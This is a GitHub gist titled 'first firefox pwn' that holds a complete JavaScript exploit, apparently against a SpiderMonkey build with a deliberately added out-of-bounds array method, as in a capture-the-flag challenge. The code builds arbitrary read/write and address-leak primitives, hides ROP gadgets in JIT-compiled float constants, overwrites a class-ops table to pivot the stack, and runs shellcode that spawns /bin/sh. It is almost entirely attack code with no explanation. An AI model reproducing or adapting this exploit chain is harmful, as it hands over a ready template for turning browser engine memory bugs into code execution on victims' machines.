let pwn = async function() {
/* Helpers */
let conversionBuffer = new ArrayBuffer(0x40)
let floatView = new Float64Array(conversionBuffer)
let intView = new BigUint64Array(conversionBuffer)
BigInt.prototype.i2f = function() {
intView[0] = this
return floatView[0]
}
Number.prototype.f2i = function() {
floatView[0] = this
return intView[0]
}
BigInt.prototype.hex = function() {
return '0x' + this.toString(16)
}
let log = function(msg) {
fetch("/log?log=" + encodeURIComponent(msg))
}
let sleep = ms => new Promise(resolve=>setTimeout(resolve,ms))
/* Exploit */
let oobArr = new Array(6)
oobArr[0] = 1.1
let arb_arr = new Float64Array(1)
arb_arr[0] = 1.1
let obj_arr = new Array(arb_arr, oobArr,{},{},{})
let leak_arr = new Uint8Array(8)
for(let i = 0; i < 8; i++) leak_arr[i] = i
oobArr.oob(11,0x1337n.i2f())
let arbWrite64 = function(address, what) {
let old = oobArr.oob(13)
oobArr.oob(13,BigInt(address).i2f())
arb_arr[0] = BigInt(what).i2f()
oobArr.oob(13,old)
}
let arbRead64 = function(address) {
let old = oobArr.oob(13)
oobArr.oob(13, BigInt(address).i2f())
let leak = arb_arr[0]
oobArr.oob(13,old)
return leak.f2i()
}
let backingStore_offset = 0x2f
let inline_backingStore = arb_arr[backingStore_offset].f2i()
let objectAddr = inline_backingStore - 0x70n
let addrOf = function(object) {
obj_arr[0] = object
arb_arr[backingStore_offset] = objectAddr.i2f()
let addr = 0n
for(let i = 7; i >= 0; i--) {
addr = addr << 8n
addr += BigInt(leak_arr[i])
}
arb_arr[backingStore_offset] = inline_backingStore.i2f()
return addr & 0xffffffffffffn
}
let jit = function() {
let stack_pivot = -6.82852828217193e-229 // xchg rax, rsp; pop rax; ret; nop; nop; nop; nop;
let stack_align = -2.968845038400643e+16 // add rsp, 0x40; pop rdi; pop rsi; pop rdx; ret;
let syscall = -6.828844406088408e-229 // pop rax; ret; syscall ; ret; nop ; nop ; nop;
}
let shellcode = new Uint8Array(0x1000)
let writer = new DataView(shellcode.buffer)
let shellcodeAddr = arbRead64(addrOf(shellcode) + 0x30n)
let sCode = [0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x73,
0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 0x69, 0x01, 0x01, 0x81, 0x34, 0x24,
0x01, 0x01, 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e, 0x48, 0x01,
0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05]
log('Shellcode Addr: ' + shellcodeAddr.hex())
for(let i = 0; i < sCode.length; i++) {
shellcode[i] = sCode[i]
}
let target = new Uint8Array(90)
let targetAddr = addrOf(target)
log('Target addr: ' + targetAddr.hex())
let targetGroup = arbRead64(targetAddr)
log('Target group: ' + targetGroup.hex())
let targetClasp = arbRead64(targetGroup)
log('Target clasp: ' + targetClasp.hex())
let targetCops = arbRead64(targetClasp + 0x10n)
log('Target cops: ' + targetCops.hex())
let fakeVtable = new Float64Array(200)
let addrFakeVtable = addrOf(fakeVtable)
let backingStore_vtable = arbRead64(addrFakeVtable + 0x30n)
log('ROP Chain BackingStore: ' + backingStore_vtable.hex())
for(let i = 0; i < 100; i++) jit()
let jitAddr = addrOf(jit)
log('Jit Addr: ' + jitAddr.hex())
let gadget = arbRead64( arbRead64(jitAddr + 0x28n) )
log('Gadgets: ' + gadget.hex())
let stackPivot = gadget + 0x14cn
log('Stack Pivot: ' + stackPivot.hex())
let stackPivot2 = gadget + 0x15an
let L_pop_rax = gadget + 0x168n
let L_pop_rdi_rsi_rdx = gadget + 0x15en
let L_syscall = gadget + 0x16an
let ropChain = [
0, stackPivot2,
backingStore_vtable, 0,
stackPivot, 0, 0x43434343,
0x48484848, 0, 0x41414141,
// pop rdi; pop rsi; pop rdx; ret;
shellcodeAddr, 0x1000, 0x7,
// pop rax; ret;
L_pop_rax, 0xa,
// syscall; ret;
L_syscall,
shellcodeAddr
]
for(let i = 0; i < ropChain.length; i++) {
fakeVtable[i] = BigInt(ropChain[i]).i2f()
}
arbWrite64(targetClasp, backingStore_vtable)
log('trigger')
target.kek = 1
}
pwn()
Created
August 23, 2021 06:28
-
-
Save hkraw/b665b1be9c8c196cb15eb406ce1772bd to your computer and use it in GitHub Desktop.
first firefox pwn
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment